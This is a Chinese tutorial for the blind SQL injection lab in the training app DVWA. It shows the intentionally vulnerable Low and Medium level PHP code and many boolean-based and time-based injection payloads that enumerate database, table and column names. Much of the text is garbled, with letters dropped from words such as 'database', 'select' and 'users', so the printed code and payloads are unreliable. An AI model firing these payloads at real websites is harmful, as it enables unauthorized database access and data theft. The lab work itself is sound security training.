新手指南:DVWA-1.9全级别教程之SQLInjection(Blind)

更新时间:2023-05-07 17:41:02 阅读: 评论:0

新⼿指南:DVWA-1.9全级别教程之SQLInjection(Blind)
*本⽂原创作者:lonehand,转载请注明来⾃FreeBuf
DVWA简介
DVWA(Damn Vulnerable Web Application)是⼀个⽤来进⾏安全脆弱性鉴定的PHP/MySQL Web应⽤,旨在为安全专业⼈员测试⾃⼰的专业技能和⼯具提供合法的环境,帮助web开发者更好的理解web应⽤安全防范的过程。
DVWA共有⼗个模块,分别是
Brute Force(暴⼒(破解))
Command Injection(命令⾏注⼊)
CSRF(跨站请求伪造)
File Inclusion(⽂件包含)
File Upload(⽂件上传)
Incure CAPTCHA (不安全的验证码)
SQL Injection(SQL注⼊)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过⽐较四种级别的代码,接触到⼀些PHP代码审计的内容。
DVWA的搭建
之前模块的相关内容
本⽂介绍SQL Injection(Blind)模块的相关内容,后续教程会在之后的⽂章中给出。
SQL Injection(Blind)
SQL Injection(Blind),即SQL盲注,与⼀般注⼊的区别在于,⼀般的注⼊攻击者可以直接从页⾯上看到注⼊语句的执⾏结果,⽽盲注时攻击者通常是⽆法从显⽰页⾯上获取执⾏结果,甚⾄连注⼊语句是否执⾏都⽆从得知,因此盲注的难度要⽐⼀般注⼊⾼。⽬前⽹络上现存的SQL注⼊漏洞⼤多是SQL盲注。
⼿⼯盲注思路
⼿⼯盲注的过程,就像你与⼀个机器⼈聊天,这个机器⼈知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第⼀个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这⾥由于实验环境的限制,只演⽰基于布尔的盲注与基于时间的盲注。
下⾯简要介绍⼿⼯盲注的步骤(可与之前的作⽐较):
1.判断是否存在注⼊,注⼊是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
下⾯对四种级别的代码进⾏分析。
Low
服务器端核⼼代码
<?php
if( ist( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check databa
$getid  = "SELECT first_name, last_name FROM urs WHERE ur_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppress errors
if( $num > 0 ) {
// Feedback for end ur
echo '<pre>Ur ID exists in the databa.</pre>';
}
el {
// Ur wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end ur
echo '<pre>Ur ID is MISSING from the databa.</pre>';
}
mysql_clo();
}
>
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注⼊漏洞,同时SQL语句查询返回的结果只有两种,‘Ur ID exists in the databa.
‘与‘
`Ur ID is MISSING from the databa.`
‘,因此这⾥是SQL盲注漏洞。
漏洞利⽤
⾸先演⽰基于布尔的盲注:
1.判断是否存在注⼊,注⼊是字符型还是数字型
输⼊1,显⽰相应⽤户存在:
输⼊1’ and 1=1 #,显⽰存在:
输⼊1’ and 1=2 #,显⽰不存在:
说明存在字符型的SQL盲注。
2.猜解当前数据库名
想要猜解数据库名,⾸先要猜解数据库名的长度,然后挨个猜解字符。
输⼊1’ and length(databa())=1 #,显⽰不存在;
输⼊1’ and length(databa())=2 #,显⽰不存在;
输⼊1’ and length(databa())=3 #,显⽰不存在;
输⼊1’ and length(databa())=4 #,显⽰存在:
说明数据库名长度为4。
下⾯采⽤⼆分法猜解数据库名。
输⼊1’ and ascii(substr(datab(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于97(⼩写字母a的ascii值);
输⼊1’ and ascii(substr(datab(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于122(⼩写字
母z的ascii值);
输⼊1’ and ascii(substr(datab(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于109(⼩写字
母m的ascii值);
输⼊1’ and ascii(substr(datab(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于103(⼩写字
母g的ascii值);
输⼊1’ and ascii(substr(datab(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不⼩于100(⼩写字
母d的ascii值);
输⼊1’ and ascii(substr(datab(),1,1))>100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不⼤于100(⼩写字
母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。
3.猜解数据库中的表名
⾸先猜解数据库中表的数量:
1’ and (lect count (table_name) from information_schema.tables where table_schema=databa())=1 # 显⽰不存在
1’ and (lect count (table_name) from information_schema.tables where table_schema=databa() )=2 # 显⽰存在
说明数据库中共有两个表。
接着挨个猜解表名:
1’ and length(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1))=1 # 显⽰不存在
1’ and length(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1))=2 # 显⽰不存在
1’ and length(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1))=9 # 显⽰存在
说明第⼀个表名长度为9。
1’ and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))>97 # 显⽰存在
1’ and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))<122 #显⽰存在
1’ and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))<109 #显⽰存在
1’ and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))<103 #显⽰不存在
1’ and ascii(substr((lect table_name from information_schema.tables where table_schema=databa() limit 0,1),1,1))>103 #显⽰不存在
说明第⼀个表的名字的第⼀个字符为⼩写字母g。
重复上述步骤,即可猜解出两个表名(guestbook、urs)。
4.猜解表中的字段名
⾸先猜解表中字段的数量:
1’ and (lect count(column_name) from lumns where table_name= ’urs’)=1 # 显⽰不存在
1’ and (lect count(column_name) from lumns where table_name= ’urs’)=8 # 显⽰存在
说明urs表有8个字段。
接着挨个猜解字段名:
1’ and length(substr((lect column_name from lumns where table_name= ’urs’ limit 0,1),1))=1 # 显⽰不存在
1’ and length(substr((lect column_name from lumns where table_name= ’urs’ limit 0,1),1))=7 # 显⽰存在
说明urs表的第⼀个字段为7个字符长度。
采⽤⼆分法,即可猜解出所有字段名。
5.猜解数据
同样采⽤⼆分法。
还可以使⽤基于时间的盲注:
1.判断是否存在注⼊,注⼊是字符型还是数字型
输⼊1’ and sleep(5) #,感觉到明显延迟;
输⼊1 and sleep(5) #,没有延迟;
说明存在字符型的基于时间的盲注。
2.猜解当前数据库名
⾸先猜解数据名的长度:
1’ and if(length(databa())=1,sleep(5),1) # 没有延迟
1’ and if(length(databa())=2,sleep(5),1) # 没有延迟
1’ and if(length(databa())=3,sleep(5),1) # 没有延迟
1’ and if(length(databa())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。
接着采⽤⼆分法猜解数据库名:
1’ and if(ascii(substr(databa(),1,1))>97,sleep(5),1)# 明显延迟
1’ and if(ascii(substr(databa(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(databa(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第⼀个字符为⼩写字母d。
重复上述步骤,即可猜解出数据库名。
3.猜解数据库中的表名
⾸先猜解数据库中表的数量:
1’ and if((lect count(table_name) from information_schema.tables where table_schema=databa() )=1,sleep(5),1)# 没有延迟1’ and if((lect count(table_name) from information_schema.tables where table_schema=databa() )=2,sleep(5),1)# 明显延迟说明数据库中有两个表。
接着挨个猜解表名:
1’ and if(length(substr((lect table_name from information_schema.tables where table_schema=databa() limit
0,1),1))=1,sleep(5),1) # 没有延迟
1’ and if(length(substr((lect table_name from information_schema.tables where table_schema=databa() limit
0,1),1))=9,sleep(5),1) # 明显延迟
说明第⼀个表名的长度为9个字符。
采⽤⼆分法即可猜解出表名。
4.猜解表中的字段名
⾸先猜解表中字段的数量:
1’ and if((lect count(column_name) from lumns where table_name= ’urs’)=1,sleep(5),1)# 没有延迟…
1’ and if((lect count(column_name) from lumns where table_name= ’urs’)=8,sleep(5),1)# 明显延迟说明urs表中有8个字段。
接着挨个猜解字段名:
1’ and if(length(substr((lect column_name from lumns where table_name= ’urs’ limit
0,1),1))=1,sleep(5),1) # 没有延迟
1’ and if(length(substr((lect column_name from lumns where table_name= ’urs’ limit
0,1),1))=7,sleep(5),1) # 明显延迟
说明urs表的第⼀个字段长度为7个字符。
采⽤⼆分法即可猜解出各个字段名。
5.猜解数据
同样采⽤⼆分法。
Medium
服务器端核⼼代码
<?php
if( ist( $_POST[ 'Submit' ]  ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check databa
$getid  = "SELECT first_name, last_name FROM urs WHERE ur_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppress errors
if( $num > 0 ) {
// Feedback for end ur
echo '<pre>Ur ID exists in the databa.</pre>';
}
el {
// Feedback for end ur
echo '<pre>Ur ID is MISSING from the databa.</pre>';
}
//mysql_clo();
}
>

本文发布于:2023-05-07 17:41:02,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/549893.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:数据库   盲注   猜解   说明   存在   代码
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图